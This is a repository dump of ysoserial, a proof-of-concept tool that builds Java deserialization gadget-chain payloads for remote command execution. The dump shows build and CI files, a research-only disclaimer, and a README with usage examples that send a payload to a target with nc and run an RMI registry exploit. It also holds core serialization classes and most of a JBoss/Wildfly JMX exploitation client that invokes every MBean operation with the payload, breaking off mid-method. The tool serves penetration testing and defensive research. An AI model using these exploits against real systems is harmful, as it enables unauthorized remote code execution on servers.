Repository: frohoff/ysoserial Branch: master Commit: 218bcffcaaa9 Files: 91 Total size: 255.9 KB Directory structure: gitextract_xl98u19g/ ├── .editorconfig ├── .github/ │ └── workflows/ │ └── publish.yml ├── .gitignore ├── .travis.yml ├── DISCLAIMER.txt ├── Dockerfile ├── LICENSE.txt ├── README.md ├── appveyor.yml ├── assembly.xml ├── pom.xml └── src/ ├── main/ │ └── java/ │ └── ysoserial/ │ ├── Deserializer.java │ ├── GeneratePayload.java │ ├── Serializer.java │ ├── Strings.java │ ├── exploit/ │ │ ├── JBoss.java │ │ ├── JMXInvokeMBean.java │ │ ├── JRMPClassLoadingListener.java │ │ ├── JRMPClient.java │ │ ├── JRMPListener.java │ │ ├── JSF.java │ │ ├── JenkinsCLI.java │ │ ├── JenkinsListener.java │ │ ├── JenkinsReverse.java │ │ └── RMIRegistryExploit.java │ ├── payloads/ │ │ ├── AspectJWeaver.java │ │ ├── BeanShell1.java │ │ ├── C3P0.java │ │ ├── Click1.java │ │ ├── Clojure.java │ │ ├── CommonsBeanutils1.java │ │ ├── CommonsCollections1.java │ │ ├── CommonsCollections2.java │ │ ├── CommonsCollections3.java │ │ ├── CommonsCollections4.java │ │ ├── CommonsCollections5.java │ │ ├── CommonsCollections6.java │ │ ├── CommonsCollections7.java │ │ ├── DynamicDependencies.java │ │ ├── FileUpload1.java │ │ ├── Groovy1.java │ │ ├── Hibernate1.java │ │ ├── Hibernate2.java │ │ ├── JBossInterceptors1.java │ │ ├── JRMPClient.java │ │ ├── JRMPListener.java │ │ ├── JSON1.java │ │ ├── JavassistWeld1.java │ │ ├── Jdk7u21.java │ │ ├── Jython1.java │ │ ├── MozillaRhino1.java │ │ ├── MozillaRhino2.java │ │ ├── Myfaces1.java │ │ ├── Myfaces2.java │ │ ├── ObjectPayload.java │ │ ├── ROME.java │ │ ├── ReleaseableObjectPayload.java │ │ ├── Spring1.java │ │ ├── Spring2.java │ │ ├── URLDNS.java │ │ ├── Vaadin1.java │ │ ├── Wicket1.java │ │ ├── annotation/ │ │ │ ├── Authors.java │ │ │ ├── Dependencies.java │ │ │ └── PayloadTest.java │ │ └── util/ │ │ ├── ClassFiles.java │ │ ├── Gadgets.java │ │ ├── JavaVersion.java │ │ ├── PayloadRunner.java │ │ └── Reflections.java │ └── secmgr/ │ ├── DelegateSecurityManager.java │ └── ExecCheckingSecurityManager.java └── test/ └── java/ └── ysoserial/ ├── CiTest.java └── test/ ├── CustomDeserializer.java ├── CustomPayloadArgs.java ├── CustomTest.java ├── WrappedTest.java ├── exploit/ │ └── RMIRegistryExploitTest.java ├── payloads/ │ ├── CommandExecTest.java │ ├── FileUploadTest.java │ ├── JRMPReverseConnectSMTest.java │ ├── JRMPReverseConnectTest.java │ ├── MyfacesTest.java │ ├── PayloadsTest.java │ ├── RemoteClassLoadingTest.java │ └── TestHarnessTest.java └── util/ ├── Callables.java ├── Files.java ├── GadgetsTest.java ├── OS.java └── Throwables.java ================================================ FILE CONTENTS ================================================ ================================================ FILE: .editorconfig ================================================ root = true [*] end_of_line = lf charset = utf-8 trim_trailing_whitespace = true insert_final_newline = true indent_style = space indent_size = 4 max_line_length = 120 [*.{yml,yaml}] indent_size = 2 ================================================ FILE: .github/workflows/publish.yml ================================================ name: publish jar on: push: tags: - "v*.*.*" permissions: contents: write jobs: publish: runs-on: ubuntu-latest permissions: contents: write packages: write steps: - uses: actions/checkout@v3 - uses: actions/setup-java@v3 with: java-version: '8' distribution: 'adopt' cache: 'maven' - name: Set version run: mvn versions:set -DnewVersion=${{ github.ref_name }} - name: Build jar run: mvn -B clean package -DskipTests # - name: publish maven jar # run: mvn -B deploy -DskipTests -DrepositoryId=github env: GITHUB_TOKEN: ${{ secrets.GITHUB_TOKEN }} - name: Rename artifact run: mv target/ysoserial-${{ github.ref_name }}-all.jar target/ysoserial-all.jar - name: Publish GitHub release uses: softprops/action-gh-release@v1 env: GITHUB_TOKEN: ${{ secrets.GITHUB_TOKEN }} with: files: target/ysoserial-all.jar ================================================ FILE: .gitignore ================================================ # java *.class # mvn target/ # eclipse .classpath .project .settings/ # idea .idea/ *.iml # tests pwntest ================================================ FILE: .travis.yml ================================================ dist: trusty language: java cache: directories: - $HOME/.m2 - $HOME/.mvn/ # jdk6 requires workarounds https://github.com/travis-ci/travis-ci/issues/9713 addons: apt: packages: - openjdk-6-jdk before_install: - > # install mvn 3.2.5 for use with java6 which $HOME/.mvn/3.2.5/bin/mvn || mkdir -p $HOME/.mvn/3.2.5 && curl https://apache.osuosl.org/maven/maven-3/3.2.5/binaries/apache-maven-3.2.5-bin.tar.gz | tar xz -C $HOME/.mvn/3.2.5 --strip-components=1 - if [ "$TRAVIS_JDK_VERSION" == "openjdk6" ]; then jdk_switcher use openjdk6; fi - mvn -v after_script: - > # print more detailed info about test results cat target/surefire-reports/TEST-ysoserial.test.payloads.PayloadsTest.xml | grep testcase -A1 | grep -B1 -E 'failure|error|skipped' | grep -v -- -- matrix: fast_finish: true allow_failures: - jdk: oraclejdk11 - jdk: openjdk6 - jdk: openjdk7 - jdk: openjdk9 - jdk: openjdk10 - jdk: openjdk11 include: #- jdk: oraclejdk7 #https://github.com/travis-ci/travis-ci/issues/7884 - jdk: oraclejdk8 - jdk: oraclejdk11 - jdk: openjdk6 env: PATH=$HOME/.mvn/3.2.5/bin:$PATH - jdk: openjdk7 - jdk: openjdk8 - jdk: openjdk9 - jdk: openjdk10 - jdk: openjdk11 ================================================ FILE: DISCLAIMER.txt ================================================ DISCLAIMER This software has been created purely for the purposes of academic research and for the development of effective defensive techniques, and is not intended to be used to attack systems except where explicitly authorized. Project maintainers are not responsible or liable for misuse of the software. Use responsibly. ================================================ FILE: Dockerfile ================================================ FROM maven:3.5-jdk-8 as builder WORKDIR /app # download artifacts COPY pom.xml . COPY assembly.xml . RUN mvn dependency:resolve RUN mvn verify RUN mvn compiler:help # build COPY src ./src RUN mvn clean package -DskipTests RUN mv target/ysoserial-*all*.jar target/ysoserial.jar FROM eclipse-temurin:8-jdk-alpine WORKDIR /app COPY --from=builder /app/target/ysoserial.jar . ENTRYPOINT ["java", "-jar", "ysoserial.jar"] ================================================ FILE: LICENSE.txt ================================================ Copyright (c) 2013 Chris Frohoff MIT License Permission is hereby granted, free of charge, to any person obtaining a copy of this software and associated documentation files (the "Software"), to deal in the Software without restriction, including without limitation the rights to use, copy, modify, merge, publish, distribute, sublicense, and/or sell copies of the Software, and to permit persons to whom the Software is furnished to do so, subject to the following conditions: The above copyright notice and this permission notice shall be included in all copies or substantial portions of the Software. THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE SOFTWARE. ================================================ FILE: README.md ================================================ # ysoserial [![GitHub release](https://img.shields.io/github/downloads/frohoff/ysoserial/latest/total)](https://github.com/frohoff/ysoserial/releases/latest/download/ysoserial-all.jar) [![Travis Build Status](https://api.travis-ci.com/frohoff/ysoserial.svg?branch=master)](https://travis-ci.com/github/frohoff/ysoserial) [![Appveyor Build status](https://ci.appveyor.com/api/projects/status/a8tbk9blgr3yut4g/branch/master?svg=true)](https://ci.appveyor.com/project/frohoff/ysoserial/branch/master) [![JitPack](https://jitpack.io/v/frohoff/ysoserial.svg)](https://jitpack.io/#frohoff/ysoserial) A proof-of-concept tool for generating payloads that exploit unsafe Java object deserialization. ![logo](ysoserial.png) ## Description Originally released as part of AppSecCali 2015 Talk ["Marshalling Pickles: how deserializing objects will ruin your day"]( https://frohoff.github.io/appseccali-marshalling-pickles/) with gadget chains for Apache Commons Collections (3.x and 4.x), Spring Beans/Core (4.x), and Groovy (2.3.x). Later updated to include additional gadget chains for [JRE <= 1.7u21](https://gist.github.com/frohoff/24af7913611f8406eaf3) and several other libraries. __ysoserial__ is a collection of utilities and property-oriented programming "gadget chains" discovered in common java libraries that can, under the right conditions, exploit Java applications performing __unsafe deserialization__ of objects. The main driver program takes a user-specified command and wraps it in the user-specified gadget chain, then serializes these objects to stdout. When an application with the required gadgets on the classpath unsafely deserializes this data, the chain will automatically be invoked and cause the command to be executed on the application host. It should be noted that the vulnerability lies in the application performing unsafe deserialization and NOT in having gadgets on the classpath. ## Disclaimer This software has been created purely for the purposes of academic research and for the development of effective defensive techniques, and is not intended to be used to attack systems except where explicitly authorized. Project maintainers are not responsible or liable for misuse of the software. Use responsibly. ## Usage ```shell $ java -jar ysoserial.jar Y SO SERIAL? Usage: java -jar ysoserial.jar [payload] '[command]' Available payload types: Payload Authors Dependencies ------- ------- ------------ AspectJWeaver @Jang aspectjweaver:1.9.2, commons-collections:3.2.2 BeanShell1 @pwntester, @cschneider4711 bsh:2.0b5 C3P0 @mbechler c3p0:0.9.5.2, mchange-commons-java:0.2.11 Click1 @artsploit click-nodeps:2.3.0, javax.servlet-api:3.1.0 Clojure @JackOfMostTrades clojure:1.8.0 CommonsBeanutils1 @frohoff commons-beanutils:1.9.2, commons-collections:3.1, commons-logging:1.2 CommonsCollections1 @frohoff commons-collections:3.1 CommonsCollections2 @frohoff commons-collections4:4.0 CommonsCollections3 @frohoff commons-collections:3.1 CommonsCollections4 @frohoff commons-collections4:4.0 CommonsCollections5 @matthias_kaiser, @jasinner commons-collections:3.1 CommonsCollections6 @matthias_kaiser commons-collections:3.1 CommonsCollections7 @scristalli, @hanyrax, @EdoardoVignati commons-collections:3.1 FileUpload1 @mbechler commons-fileupload:1.3.1, commons-io:2.4 Groovy1 @frohoff groovy:2.3.9 Hibernate1 @mbechler Hibernate2 @mbechler JBossInterceptors1 @matthias_kaiser javassist:3.12.1.GA, jboss-interceptor-core:2.0.0.Final, cdi-api:1.0-SP1, javax.interceptor-api:3.1, jboss-interceptor-spi:2.0.0.Final, slf4j-api:1.7.21 JRMPClient @mbechler JRMPListener @mbechler JSON1 @mbechler json-lib:jar:jdk15:2.4, spring-aop:4.1.4.RELEASE, aopalliance:1.0, commons-logging:1.2, commons-lang:2.6, ezmorph:1.0.6, commons-beanutils:1.9.2, spring-core:4.1.4.RELEASE, commons-collections:3.1 JavassistWeld1 @matthias_kaiser javassist:3.12.1.GA, weld-core:1.1.33.Final, cdi-api:1.0-SP1, javax.interceptor-api:3.1, jboss-interceptor-spi:2.0.0.Final, slf4j-api:1.7.21 Jdk7u21 @frohoff Jython1 @pwntester, @cschneider4711 jython-standalone:2.5.2 MozillaRhino1 @matthias_kaiser js:1.7R2 MozillaRhino2 @_tint0 js:1.7R2 Myfaces1 @mbechler Myfaces2 @mbechler ROME @mbechler rome:1.0 Spring1 @frohoff spring-core:4.1.4.RELEASE, spring-beans:4.1.4.RELEASE Spring2 @mbechler spring-core:4.1.4.RELEASE, spring-aop:4.1.4.RELEASE, aopalliance:1.0, commons-logging:1.2 URLDNS @gebl Vaadin1 @kai_ullrich vaadin-server:7.7.14, vaadin-shared:7.7.14 Wicket1 @jacob-baines wicket-util:6.23.0, slf4j-api:1.6.4 ``` ## Examples ```shell $ java -jar ysoserial.jar CommonsCollections1 calc.exe | xxd 0000000: aced 0005 7372 0032 7375 6e2e 7265 666c ....sr.2sun.refl 0000010: 6563 742e 616e 6e6f 7461 7469 6f6e 2e41 ect.annotation.A 0000020: 6e6e 6f74 6174 696f 6e49 6e76 6f63 6174 nnotationInvocat ... 0000550: 7672 0012 6a61 7661 2e6c 616e 672e 4f76 vr..java.lang.Ov 0000560: 6572 7269 6465 0000 0000 0000 0000 0000 erride.......... 0000570: 0078 7071 007e 003a .xpq.~.: $ java -jar ysoserial.jar Groovy1 calc.exe > groovypayload.bin $ nc 10.10.10.10 1099 < groovypayload.bin $ java -cp ysoserial.jar ysoserial.exploit.RMIRegistryExploit myhost 1099 CommonsCollections1 calc.exe ``` ## Installation [![GitHub release](https://img.shields.io/github/downloads/frohoff/ysoserial/latest/total)](https://github.com/frohoff/ysoserial/releases/latest/download/ysoserial-all.jar) Download the [latest release jar](https://github.com/frohoff/ysoserial/releases/latest/download/ysoserial-all.jar) from GitHub releases. ## Building Requires Java 1.7+ and Maven 3.x+ ```mvn clean package -DskipTests``` ## Code Status [![Build Status](https://api.travis-ci.com/frohoff/ysoserial.svg?branch=master)](https://travis-ci.com/github/frohoff/ysoserial) [![Build status](https://ci.appveyor.com/api/projects/status/a8tbk9blgr3yut4g/branch/master?svg=true)](https://ci.appveyor.com/project/frohoff/ysoserial/branch/master) ## Contributing 1. Fork it 2. Create your feature branch (`git checkout -b my-new-feature`) 3. Commit your changes (`git commit -am 'Add some feature'`) 4. Push to the branch (`git push origin my-new-feature`) 5. Create new Pull Request ## See Also * [Java-Deserialization-Cheat-Sheet](https://github.com/GrrrDog/Java-Deserialization-Cheat-Sheet): info on vulnerabilities, tools, blogs/write-ups, etc. * [marshalsec](https://github.com/frohoff/marshalsec): similar project for various Java deserialization formats/libraries * [ysoserial.net](https://github.com/pwntester/ysoserial.net): similar project for .NET deserialization ================================================ FILE: appveyor.yml ================================================ # based on https://github.com/GoogleCloudPlatform/google-cloud-java/blob/master/appveyor.yml # build version version: '{build}' # Do not build on tags skip_tags: true # enviroment settings environment: matrix: - JAVA_HOME: C:\Program Files\Java\jdk1.6.0 M2_HOME: C:\bin\apache-maven-3.2.5 - JAVA_HOME: C:\Program Files\Java\jdk1.7.0 MAVEN_OPTS: -Dhttps.protocols=TLSv1,TLSv1.1,TLSv1.2 - JAVA_HOME: C:\Program Files\Java\jdk1.8.0 matrix: allow_failures: - JAVA_HOME: C:\Program Files\Java\jdk1.6.0 - JAVA_HOME: C:\Program Files\Java\jdk1.7.0 # install required tools (maven, secure-file, encrypted files) install: - cmd: if not exist "C:\bin\apache-maven-3.2.5\bin\*.*" cinst maven --version 3.2.5 --allow-empty-checksums - cmd: echo %JAVA_HOME% - cmd: echo %M2_HOME% # build and install artifacts build_script: - '"%M2_HOME%\bin\mvn" clean install -DskipTests' # verify artifacts test_script: - '"%M2_HOME%\bin\mvn" test' # preserve dependencies between builds cache: - C:\Users\appveyor\.m2 - C:\bin\apache-maven-3.2.5 ================================================ FILE: assembly.xml ================================================ fat-tests jar false / true true test ${project.build.directory}/test-classes / **/*.class true ================================================ FILE: pom.xml ================================================ 4.0.0 ysoserial ysoserial 0.0.6-SNAPSHOT jar ysoserial https://github.com/frohoff/ysoserial/ UTF-8 org.apache.maven.plugins maven-compiler-plugin 3.5.1 1.6 1.6 -XDignore.symbol.file true maven-assembly-plugin ${project.artifactId}-${project.version}-all false ysoserial.GeneratePayload assembly.xml make-assembly package single org.apache.maven.plugins maven-surefire-plugin 3.0.0-M1 false false central default https://repo.maven.apache.org/maven2/ ysoserial-m2-repo default https://raw.githubusercontent.com/frohoff/ysoserial-m2-repo/master jenkins default https://repo.jenkins-ci.org/public/ junit junit 4.12 test org.mockito mockito-core 1.10.19 test com.github.stefanbirkner system-rules 1.8.0 test org.nanohttpd nanohttpd 2.2.0 test org.reflections reflections 0.9.9 org.jboss.shrinkwrap.resolver shrinkwrap-resolver-depchain 2.2.6 pom org.javassist javassist 3.19.0-GA com.nqzero permit-reflect 0.3 commons-codec commons-codec 1.9 commons-io commons-io 2.6 remoting org.jenkins-ci.main 2.55 org.jboss.logging jboss-logging 3.3.0.Final org.jboss.remoting jboss-remoting 4.0.19.Final org.jboss jboss-common-core 2.5.0.Final org.jboss.logging jboss-logging-spi org.jboss.xnio xnio-nio 3.3.4.Final org.jboss.sasl jboss-sasl 1.0.5.Final org.jboss.remotingjmx remoting-jmx 2.0.1.Final commons-collections commons-collections 3.1 org.beanshell bsh 2.0b5 commons-beanutils commons-beanutils 1.9.2 org.apache.commons commons-collections4 4.0 org.codehaus.groovy groovy 2.3.9 org.springframework spring-core 4.1.4.RELEASE org.springframework spring-beans 4.1.4.RELEASE org.hibernate hibernate-core 4.3.11.Final org.springframework spring-aop 4.1.4.RELEASE net.sf.json-lib json-lib jdk15 2.4 commons-fileupload commons-fileupload 1.3 org.apache.wicket wicket-util 6.23.0 com.mchange c3p0 0.9.5.2 javax.servlet javax.servlet-api 3.1.0 org.apache.myfaces.core myfaces-impl 2.2.9 xalan xalan 2.7.2 rome rome 1.0 org.python jython-standalone 2.5.2 rhino js 1.7R2 javassist javassist 3.12.0.GA org.jboss.weld weld-core 1.1.33.Final org.jboss.interceptor jboss-interceptor-core 2.0.0.Final org.jboss.interceptor jboss-interceptor-spi 2.0.0.Final javax.enterprise cdi-api 1.0-SP1 javax.interceptor javax.interceptor-api 3.1 org.slf4j slf4j-api 1.7.21 org.slf4j slf4j-jdk14 1.7.21 org.clojure clojure 1.8.0 com.vaadin vaadin-server 7.7.14 org.aspectj aspectjweaver 1.9.5 org.apache.click click-nodeps 2.3.0 jdk6 1.6 org.apache.maven.plugins maven-surefire-plugin 2.22.1 javax.el javax.el-api 3.0.0 repo1 http://repo1.maven.org/maven2 repo1 http://repo1.maven.org/maven2 hibernate5 hibernate5 org.hibernate hibernate-core 5.0.7.Final javax.el javax.el-api 3.0.0 apache-el true el apache org.mortbay.jasper apache-el 8.0.27 juel el juel de.odysseus.juel juel-impl 2.2.7 de.odysseus.juel juel-api 2.2.7 github GitHub Packages https://maven.pkg.github.com/frohoff/ysoserial ================================================ FILE: src/main/java/ysoserial/Deserializer.java ================================================ package ysoserial; import java.io.ByteArrayInputStream; import java.io.File; import java.io.FileInputStream; import java.io.IOException; import java.io.InputStream; import java.io.ObjectInputStream; import java.util.concurrent.Callable; public class Deserializer implements Callable { private final byte[] bytes; public Deserializer(byte[] bytes) { this.bytes = bytes; } public Object call() throws Exception { return deserialize(bytes); } public static Object deserialize(final byte[] serialized) throws IOException, ClassNotFoundException { final ByteArrayInputStream in = new ByteArrayInputStream(serialized); return deserialize(in); } public static Object deserialize(final InputStream in) throws ClassNotFoundException, IOException { final ObjectInputStream objIn = new ObjectInputStream(in); return objIn.readObject(); } public static void main(String[] args) throws ClassNotFoundException, IOException { final InputStream in = args.length == 0 ? System.in : new FileInputStream(new File(args[0])); Object object = deserialize(in); } } ================================================ FILE: src/main/java/ysoserial/GeneratePayload.java ================================================ package ysoserial; import java.io.PrintStream; import java.util.*; import ysoserial.payloads.ObjectPayload; import ysoserial.payloads.ObjectPayload.Utils; import ysoserial.payloads.annotation.Authors; import ysoserial.payloads.annotation.Dependencies; @SuppressWarnings("rawtypes") public class GeneratePayload { private static final int INTERNAL_ERROR_CODE = 70; private static final int USAGE_CODE = 64; public static void main(final String[] args) { if (args.length != 2) { printUsage(); System.exit(USAGE_CODE); } final String payloadType = args[0]; final String command = args[1]; final Class payloadClass = Utils.getPayloadClass(payloadType); if (payloadClass == null) { System.err.println("Invalid payload type '" + payloadType + "'"); printUsage(); System.exit(USAGE_CODE); return; // make null analysis happy } try { final ObjectPayload payload = payloadClass.newInstance(); final Object object = payload.getObject(command); PrintStream out = System.out; Serializer.serialize(object, out); ObjectPayload.Utils.releasePayload(payload, object); } catch (Throwable e) { System.err.println("Error while generating or serializing payload"); e.printStackTrace(); System.exit(INTERNAL_ERROR_CODE); } System.exit(0); } private static void printUsage() { System.err.println("Y SO SERIAL?"); System.err.println("Usage: java -jar ysoserial-[version]-all.jar [payload] '[command]'"); System.err.println(" Available payload types:"); final List> payloadClasses = new ArrayList>(ObjectPayload.Utils.getPayloadClasses()); Collections.sort(payloadClasses, new Strings.ToStringComparator()); // alphabetize final List rows = new LinkedList(); rows.add(new String[] {"Payload", "Authors", "Dependencies"}); rows.add(new String[] {"-------", "-------", "------------"}); for (Class payloadClass : payloadClasses) { rows.add(new String[] { payloadClass.getSimpleName(), Strings.join(Arrays.asList(Authors.Utils.getAuthors(payloadClass)), ", ", "@", ""), Strings.join(Arrays.asList(Dependencies.Utils.getDependenciesSimple(payloadClass)),", ", "", "") }); } final List lines = Strings.formatTable(rows); for (String line : lines) { System.err.println(" " + line); } } } ================================================ FILE: src/main/java/ysoserial/Serializer.java ================================================ package ysoserial; import java.io.ByteArrayOutputStream; import java.io.IOException; import java.io.ObjectOutputStream; import java.io.OutputStream; import java.util.concurrent.Callable; public class Serializer implements Callable { private final Object object; public Serializer(Object object) { this.object = object; } public byte[] call() throws Exception { return serialize(object); } public static byte[] serialize(final Object obj) throws IOException { final ByteArrayOutputStream out = new ByteArrayOutputStream(); serialize(obj, out); return out.toByteArray(); } public static void serialize(final Object obj, final OutputStream out) throws IOException { final ObjectOutputStream objOut = new ObjectOutputStream(out); objOut.writeObject(obj); } } ================================================ FILE: src/main/java/ysoserial/Strings.java ================================================ package ysoserial; import org.apache.commons.lang.StringUtils; import java.util.Arrays; import java.util.Comparator; import java.util.LinkedList; import java.util.List; public class Strings { public static String join(Iterable strings, String sep, String prefix, String suffix) { final StringBuilder sb = new StringBuilder(); boolean first = true; for (String s : strings) { if (! first) sb.append(sep); if (prefix != null) sb.append(prefix); sb.append(s); if (suffix != null) sb.append(suffix); first = false; } return sb.toString(); } public static String repeat(String str, int num) { final String[] strs = new String[num]; Arrays.fill(strs, str); return join(Arrays.asList(strs), "", "", ""); } public static List formatTable(List rows) { final Integer[] maxLengths = new Integer[rows.get(0).length]; for (String[] row : rows) { if (maxLengths.length != row.length) throw new IllegalStateException("mismatched columns"); for (int i = 0; i < maxLengths.length; i++) { if (maxLengths[i] == null || maxLengths[i] < row[i].length()) { maxLengths[i] = row[i].length(); } } } final List lines = new LinkedList(); for (String[] row : rows) { for (int i = 0; i < maxLengths.length; i++) { final String pad = repeat(" ", maxLengths[i] - row[i].length()); row[i] = row[i] + pad; } lines.add(join(Arrays.asList(row), " ", "", "")); } return lines; } public static class ToStringComparator implements Comparator { public int compare(Object o1, Object o2) { return o1.toString().compareTo(o2.toString()); } } } ================================================ FILE: src/main/java/ysoserial/exploit/JBoss.java ================================================ package ysoserial.exploit; import java.io.IOException; import java.lang.reflect.InvocationTargetException; import java.lang.reflect.Method; import java.net.InetSocketAddress; import java.net.MalformedURLException; import java.net.SocketAddress; import java.net.URI; import java.security.KeyManagementException; import java.security.NoSuchAlgorithmException; import java.security.NoSuchProviderException; import java.util.HashMap; import java.util.Map; import java.util.Set; import java.util.concurrent.Executor; import java.util.concurrent.ExecutorService; import java.util.concurrent.Executors; import java.util.concurrent.ThreadFactory; import java.util.concurrent.TimeUnit; import java.util.logging.Handler; import java.util.logging.Level; import java.util.logging.LogManager; import java.util.logging.LogRecord; import java.util.logging.Logger; import javax.management.InstanceNotFoundException; import javax.management.IntrospectionException; import javax.management.MBeanInfo; import javax.management.MBeanOperationInfo; import javax.management.MBeanServerConnection; import javax.management.ObjectInstance; import javax.management.ReflectionException; import javax.management.remote.JMXServiceURL; import javax.security.auth.callback.Callback; import javax.security.auth.callback.CallbackHandler; import javax.security.auth.callback.NameCallback; import javax.security.auth.callback.PasswordCallback; import javax.security.auth.callback.UnsupportedCallbackException; import javax.security.sasl.RealmCallback; import org.jboss.remoting3.Channel; import org.jboss.remoting3.Connection; import org.jboss.remoting3.Endpoint; import org.jboss.remoting3.OpenListener; import org.jboss.remoting3.Remoting; import org.jboss.remoting3.remote.HttpUpgradeConnectionProviderFactory; import org.jboss.remoting3.spi.ConnectionHandler; import org.jboss.remoting3.spi.ConnectionHandlerContext; import org.jboss.remoting3.spi.ConnectionHandlerFactory; import org.jboss.remoting3.spi.ConnectionProvider; import org.jboss.remoting3.spi.ConnectionProviderContext; import org.jboss.remoting3.spi.RegisteredService; import org.jboss.remotingjmx.VersionedConnection; import org.xnio.FutureResult; import org.xnio.IoFuture; import org.xnio.IoFuture.Status; import org.xnio.OptionMap; import org.xnio.Options; import org.xnio.Xnio; import org.xnio.XnioWorker; import org.xnio.ssl.JsseXnioSsl; import org.xnio.ssl.XnioSsl; import ysoserial.payloads.ObjectPayload.Utils; import ysoserial.payloads.util.Reflections; /** * * An exploitation client for JBoss AS/Wildfly JMX * * JBoss is using a custom tunneled protocol for JMX, this is a client for this protocol. * * This is not as readily exploitable as in other pieces of software: * 1. they only allow authenticated access by default * 2. they have a very strict module architecture: * - all MBeans exported by default use classloaders that expose almost nothing useful * - the module classloaders do not even expose the full boot classpath, so we cannot readily use stuff like * com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl * * This client enumerates all application exported MBean method which are then called * delivering the specified payload. * * I.e. you can succesfully exploit that * - you have access to the interface * (username/password can be specified via URL, note: despite not noticeable, * local connections implicitely use authentication) * - there is an application exported MBean * - that application imports the classes required for the gadget chain * * @author mbechler * */ @SuppressWarnings ( { "rawtypes" } ) public class JBoss { public static void main ( String[] args ) { if ( args.length < 3 ) { System.err.println("Usage " + JBoss.class.getName() + " "); System.exit(-1); } URI u = URI.create(args[ 0 ]); final Object payloadObject = Utils.makePayloadObject(args[1], args[2]); String username = null; String password = null; if ( u.getUserInfo() != null ) { int sep = u.getUserInfo().indexOf(':'); if ( sep >= 0 ) { username = u.getUserInfo().substring(0, sep); password = u.getUserInfo().substring(sep + 1); } else { System.err.println("Need :@"); System.exit(-1); } } doRun(u, payloadObject, username, password); Utils.releasePayload(args[1], payloadObject); } private static void doRun ( URI u, final Object payloadObject, String username, String password ) { ConnectionProvider instance = null; ConnectionProviderContextImpl context = null; ConnectionHandler ch = null; Channel c = null; VersionedConnection vc = null; try { Logger logger = LogManager.getLogManager().getLogger(""); logger.addHandler(new ConsoleLogHandler()); logger.setLevel(Level.INFO); OptionMap options = OptionMap.builder().set(Options.SSL_ENABLED, u.getScheme().equals("https")).getMap(); context = new ConnectionProviderContextImpl(options, "endpoint"); instance = new HttpUpgradeConnectionProviderFactory().createInstance(context, options); String host = u.getHost(); int port = u.getPort() > 0 ? u.getPort() : 9990; SocketAddress destination = new InetSocketAddress(host, port); ConnectionHandlerFactory chf = getConnection(destination, username, password, context, instance, options); ch = chf.createInstance(new ConnectionHandlerContextImpl(context)); c = getChannel(context, ch, options); System.err.println("Connected"); vc = makeVersionedConnection(c); MBeanServerConnection mbc = vc.getMBeanServerConnection(null); doExploit(payloadObject, mbc); System.err.println("DONE"); } catch ( Throwable e ) { e.printStackTrace(System.err); } finally { cleanup(instance, context, ch, c, vc); } } private static void cleanup ( ConnectionProvider instance, ConnectionProviderContextImpl context, ConnectionHandler ch, Channel c, VersionedConnection vc ) { if ( vc != null ) { vc.close(); } if ( c != null ) { try { c.close(); } catch ( IOException e ) { e.printStackTrace(System.err); } } if ( ch != null ) { try { ch.close(); } catch ( IOException e ) { e.printStackTrace(System.err); } } if ( instance != null ) { try { instance.close(); } catch ( IOException e ) { e.printStackTrace(System.err); } } if ( context != null ) { context.getXnioWorker().shutdown(); } } private static ConnectionHandlerFactory getConnection ( SocketAddress destination, final String username, final String password, ConnectionProviderContextImpl context, ConnectionProvider instance, OptionMap options ) throws IOException, InterruptedException, KeyManagementException, NoSuchProviderException, NoSuchAlgorithmException { XnioSsl xnioSsl = new JsseXnioSsl(context.getXnio(), options); FutureResult result = new FutureResult(); instance.connect(null, destination, options, result, new CallbackHandler() { public void handle ( Callback[] callbacks ) throws IOException, UnsupportedCallbackException { for ( Callback cb : callbacks ) { if ( cb instanceof NameCallback ) { ( (NameCallback) cb ).setName(username); } else if ( cb instanceof PasswordCallback ) { ( (PasswordCallback) cb ).setPassword(password != null ? password.toCharArray() : new char[0]); } else if ( !( cb instanceof RealmCallback) ) { System.err.println(cb); throw new UnsupportedCallbackException(cb); } } } }, xnioSsl); System.err.println("waiting for connection"); IoFuture ioFuture = result.getIoFuture(); Status s = ioFuture.await(5, TimeUnit.SECONDS); if ( s == Status.FAILED ) { System.err.println("Cannot connect"); if ( ioFuture.getException() != null ) { ioFuture.getException().printStackTrace(System.err); } } else if ( s != Status.DONE ) { ioFuture.cancel(); System.err.println("Connect timeout"); System.exit(-1); } ConnectionHandlerFactory chf = ioFuture.getInterruptibly(); return chf; } private static Channel getChannel ( ConnectionProviderContextImpl context, ConnectionHandler ch, OptionMap options ) throws IOException { Channel c; FutureResult chResult = new FutureResult(context.getExecutor()); ch.open("jmx", chResult, options); IoFuture cFuture = chResult.getIoFuture(); Status s2 = cFuture.await(); if ( s2 == Status.FAILED ) { System.err.println("Cannot connect"); if ( cFuture.getException() != null ) { throw new IOException("Connect failed", cFuture.getException()); } } else if ( s2 != Status.DONE ) { cFuture.cancel(); throw new IOException("Connect timeout"); } c = cFuture.get(); return c; } private static VersionedConnection makeVersionedConnection ( Channel c ) throws ClassNotFoundException, NoSuchMethodException, IllegalAccessException, InvocationTargetException, MalformedURLException { VersionedConnection vc; Class vcf = Class.forName("org.jboss.remotingjmx.VersionedConectionFactory"); Method vcCreate = vcf.getDeclaredMethod("createVersionedConnection", Channel.class, Map.class, JMXServiceURL.class); Reflections.setAccessible(vcCreate); vc = (VersionedConnection) vcCreate.invoke(null, c, new HashMap(), new JMXServiceURL("service:jmx:remoting-jmx://")); return vc; } private static void doExploit ( final Object payloadObject, MBeanServerConnection mbc ) throws IOException, InstanceNotFoundException, IntrospectionException, ReflectionException { Object[] params = new Object[1]; params[ 0 ] = payloadObject; System.err.println("Querying MBeans"); Set testMBeans = mbc.queryMBeans(null, null); System.err.println("Found " + testMBeans.size() + " MBeans"); for ( ObjectInstance oi : testMBeans ) { MBeanInfo mBeanInfo = mbc.getMBeanInfo(oi.getObjectName()); for ( MBeanOperationInfo opInfo : mBeanInfo.getOperations() ) { try { mbc.invoke(oi.getObjectName(), opInfo.getName(), params, new String[] {}); 